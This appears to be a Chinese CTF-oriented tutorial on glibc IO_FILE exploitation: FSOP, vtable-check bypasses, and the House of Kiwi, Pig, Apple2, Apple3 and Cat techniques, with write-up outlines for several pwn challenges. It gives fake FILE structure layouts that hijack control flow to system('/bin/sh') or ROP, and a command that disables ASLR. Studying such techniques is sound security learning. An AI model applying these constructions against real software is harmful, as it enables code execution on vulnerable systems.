IO基础
FILE在Linux系统的标准IO库中是用于描述文件的结构,称为文件流,常被一系列流操作(fopen()
、fread()
、fclose()
等)使用,其动态指针由fopen()
函数创建,存储在堆上(stdin
、stdout
、stderr
这三个位于libc
数据段)。在libc2.23
版本中,这个结构体是_IO_FILE_plus
,包含了一个_IO_FILE
结构体和一个指向_IO_jump_t
结构体的指针vtable
,一些函数在调用的时候会取出vtable
所指向的函数,vtable
也称为虚表。
FILE结构体如下:
1 | struct _IO_FILE_plus |
_IO_jump_t
结构体如下:
1 | struct _IO_jump_t |
这边引用了e4l4师傅的字段长度表,方便查询和构造:
1 | _IO_FILE_plus_size = { |
FSOP
FSOP是一种劫持_IO_list_all
(libc.so
中的全局变量)来伪造链表的利用技术,通过调用_IO_flush_all_lockp()
函数触发,这个函数会刷新_IO_list_all
链表中所有项的文件流,相当于对每个FILE
调用fflush
来清空缓冲区,也对应着会调用_IO_FILE_plus.vtable
中的_IO_overflow
函数。该方法在libc-2.28
之后失效。
_IO_flush_all_lockp()
函数在以下几种情况会被调用:
libc
检测到内存错误从而执行abort
流程,函数调用流程如下:malloc_printerr
->__libc_message
->__GI_abort_
->_IO_flush_all_lockp
->_IO_OVERFLOW
执行
exit
函数main
函数返回时
2.23版本
下面是_IO_flush_all_lockp
函数的源码:
1 | int |
这里注意我们触发的条件:
1 | if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) |
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
2.24版本之后
libc-2.24
加入了对vtable
指针的检查,所有的vtables
都被放进了__libc_IO_vtables
段,使得它们在内存中连续,在任何跳转之前,vtable
指针都会调用IO_validate_vtable()
函数进行边缘检查,如果指针不在这个段,那么将会调用IO_vtable_check()
函数进行进一步的检查。
利用_IO_str_jumps
1 | const struct _IO_jump_t _IO_str_jumps libio_vtable = |
利用_IO_str_overflow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) //检查
// _IO_size_t的宏定义 #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ //检查
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100; // "/bin/sh"的地址
if (new_size < old_blen)
return EOF;
// system("/bin/sh")
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}构造数据如下:
fp->_flags = 0
fp->_IO_write_ptr = 0xffffffffffffffff
fp->_IO_write_base = 0
fp->_IO_buf_end = (str_bin_sh - 100) / 2
注意:这里的
str_bin_sh
最好是偶数,避免除法向下取整,如果为奇数,可以选择加1。fp->_IO_buf_base = 0
fp->mode = 0
fp + 0xe0 = system_addr
利用_IO_str_finish
1
2
3
4
5
6
7
8
9void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) //检查
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //system("/bin/sh")
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}构造数据如下:
fp->mode = 0
fp->_IO_write_ptr = 0xffffffffffffffff
fp->_IO_write_base = 0
fp->_flag = 0
fp->_IO_buf_base = str_bin_sh
fp + 0xe0 = system_addr
利用_IO_wstr_jumps
1 | const struct _IO_jump_t _IO_wstr_jumps libio_vtable = |
House_Of_Kiwi
利用原理
适用于当程序将各种hook函数禁用并且将exit函数更换为_exit函数,开启了sandbox只能orw的时候,通过__malloc_assert
函数触发_IO_file_jumps
中的_IO_file_sync
指针,加上setcontext的技术可实现rop。当topchunk的大小不足以分配chunk的时候,会进入sysmalloc让我们有机会触发以下断言:
1 | assert ((old_top == initial_top (av) && old_size == 0) || |
主要的触发链:assert -> __malloc_assert -> fflush -> __IO_file_sync
setcontext + 61
处的内容在2.29之后就由rdi转变为rdx控制,那如何控制setcontext中的rdx寄存器呢?2.32版本的setcontext如下:
1 | <setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0] |
我们可以断在call <setcontext+61>
的地方看看rdx到底是什么牛马,可以断在fflush函数中去查看:
1 | ► 0x7ffff7e5bd53 <fflush+131> call qword ptr [rbp + 0x60] <setcontext+61> |
发现rdx的值就是_IO_helper_jumps
指针,所以在_IO_helper_jumps + 0xa0
和_IO_helper_jumps + 0xa8
上写上我们rop链所在的地址和ret片段的地址就能实现rop。
NULL_FxCK
存在沙盒(orw)以及2.29版本之后的off-by-null漏洞,但是只能在edit的时候off-by-null一次,所以之后的数据构造都只能依赖于堆叠。由于2.29版本之后的off-by-null需要chunk的低位两个字节都为0x00,所以我们需要爆破,可以关闭地址随机化进行调试。
1 | echo 0 > /proc/sys/kernel/randomize_va_space # 关闭 |
主要思路:
利用off-by-null漏洞制造堆叠。
参考我的另一篇文章:Off-By-Null总结 - Pursue
利用largebin_attack劫持libc上存储的tcache_struct指针。
伪造tcache_struct,实现任意地址写任意数据。
house_of_kiwi,IO利用
WP如下:
可能和网上的答案不太一样,毕竟是自己独立构造的(真的很恶心🤢🤢🤢)
注意:构造orw的时候/flag
字符串不要放在开头,调试下来发现在open的时候会将orw的开头给覆盖成rdx的值。
1 | #encoding = utf-8 |
攻击成功时也是会返给我们断言的信息的,这也可以帮助我们检查是不是触发了断言,如下所示:
1 | 开始爆破 |
House_Of_Pig
利用原理
主要适用于程存在calloc,无法从tcache中拿取chunk,核心是利用_IO_str_jumps
中的_IO_str_overflow
函数执行一系列的malloc、memcpy和free操作,主要的攻击思路会在例题中给出,先看一下源码:
1 |
|
1 | // 核心部分,在构造的同时注意绕过检查 |
eznote(DSCTF2022)
程序存在一个数组的越界,导致在分配最后一个chunk的时候会将第一个chunk的size改写产生了堆叠,并且程序是通过calloc来分配堆块,不会直接从tcache中拿取chunk,并且存在沙盒只能orw。
主要的攻击思路:
- 通过数组越界布置堆风水,泄露libc和heap的地址
- largebin_attack劫持
_IO_list_all
,为构造IO_FILE做准备 - 进行4次IO_FILE的布局,也是本题的核心思路。第一个FILE用于将tcache_struct释放进入tcache中,也就是
heap_base + 0x10
的地方;第二次的FILE用于修改tcache_struct使得可以任意地址写;第三个FILE用于修改memcpy@got
为system,注意这里要还原memset函数,因为memcpy函数结束之后还会调用memset;第四个FILE触发攻击。
总结了一下构造此类FILE的模板:
1 | fake_IO_FILE = p64(0) * 2 |
学习了e4l4师傅的WP,并做了一点注释:
1 | #encoding = utf-8 |
House_Of_Apple2
参考文章:[原创] House of apple 一种新的glibc中IO攻击方法 (2)-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
利用原理
主要是利用FILE结构体中的_wide_data
成员和_IO_wfile_jumps
中的函数
1 | struct _IO_wide_data |
1 | const struct _IO_jump_t _IO_wfile_jumps libio_vtable = |
利用_IO_wfile_overflow
函数
先看一下相关源码:
1 | wint_t |
核心利用点和绕过都总结如下:
1 | fp->_flags 设置为0即可 |
调用链:_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
利用_IO_wfile_underflow_mmap
函数
先看一下相关源码:
1 | static wint_t |
核心利用点和绕过都总结如下:
1 | fp->_flags 设置为0即可 |
调用链:_IO_wfile_underflow_mmap -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
house_of_cat(强网2022)
2.35的堆题,在正式进入堆操作之前有个检查,稍微逆一下就可以出来了,程序只有两次edit的机会,没有退出和main函数返回,所以我们只能通过断言触发IO漏洞,那么两次的edit分别将用于laregbin_attack和修改top_chunk的size。
程序开启了一个特别的sandbox,分析下来在进行read的时候fd要是0才能绕过沙盒,所以我们在open之前可以先close(0)
,如下:
1 | line CODE JT JF K |
这里用的是_IO_wfile_overflow
函数,通过调试发现在执行到setcontext + 61
的时候,rdx寄存器保存着我们伪造的_IO_wide_data
结构体的首地址,而采用_IO_wfile_underflow_mmap
函数执行到setcontext + 61
的时候,rdx寄存器只保存了chunk的size,可能需要我们利用一些通用的gadget来纠正rdx的值,所以会比较麻烦。
还有一点,为什么这里要采用IO_wfile_jumps - 0x20
呢?因为原本程序是调用xsputn
去打印断言信息,且其和_IO_wfile_overflow
函数相距0x20字节,所以这样修改偏移,如果希望调用_IO_wfile_underflow_mmap
那么只需要将偏移修改成0x18就好。
把IO构造的部分拿出来可以当作模板:
1 | # _flags = prev_size = 0 |
WP如下:
1 | #encoding = utf-8 |
House_Of_Apple3
利用原理
主要是利用FILE结构体中的_codecvt
成员和_IO_wfile_jumps
中的函数,主要的调用链如下所示:_IO_wfile_underflow -> __libio_codecvt_in -> (fp->_codecvt->__cd_in.step->__fct)(fp->_codecvt->__cd_in.step)
,或者是利用_IO_wfile_underflow_mmap -> __libio_codecvt_in -> (fp->_codecvt->__cd_in.step->__fct)(fp->_codecvt->__cd_in.step)
,这里主要给出前者的利用思路。
以下是几个重要的结构体:
1 | struct _IO_codecvt |
主要函数的源码如下所示:
1 | wint_t |
House_Of_Cat
利用原理
利用是_IO_wfile_jumps
跳表中的_IO_wfile_seekoff
函数,相关源码如下:
1 | const struct _IO_jump_t _IO_wfile_jumps libio_vtable = |
1 | off64_t |
这里的_IO_WOVERFLOW
函数作为宏定义,看一下汇编代码就可以理解,rdi就是我们传入的FILE的首地址,可以看到,rax成了我们的核心控制点,而rax的值也就是fp->_wide_data
的值,rdx的值就是fp->_wide_data->_IO_write_ptr
的值,注意在call汇编之前还会对rax进行一次赋值,那这里就随便控制了。
1 | 0x7fc411e82d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0] |
绕过的检查有:
1 | fp->_wide_data->_IO_read_base != fp->_wide_data->_IO_read_end |
house_of_cat(强网2022)
这道题已经给出了house_of_apple2的解法,这里给出house_of_cat的解法也是预期解,同时整理一下模板:
1 | # _flags = prev_size = 0 |
WP如下:
1 | #encoding = utf-8 |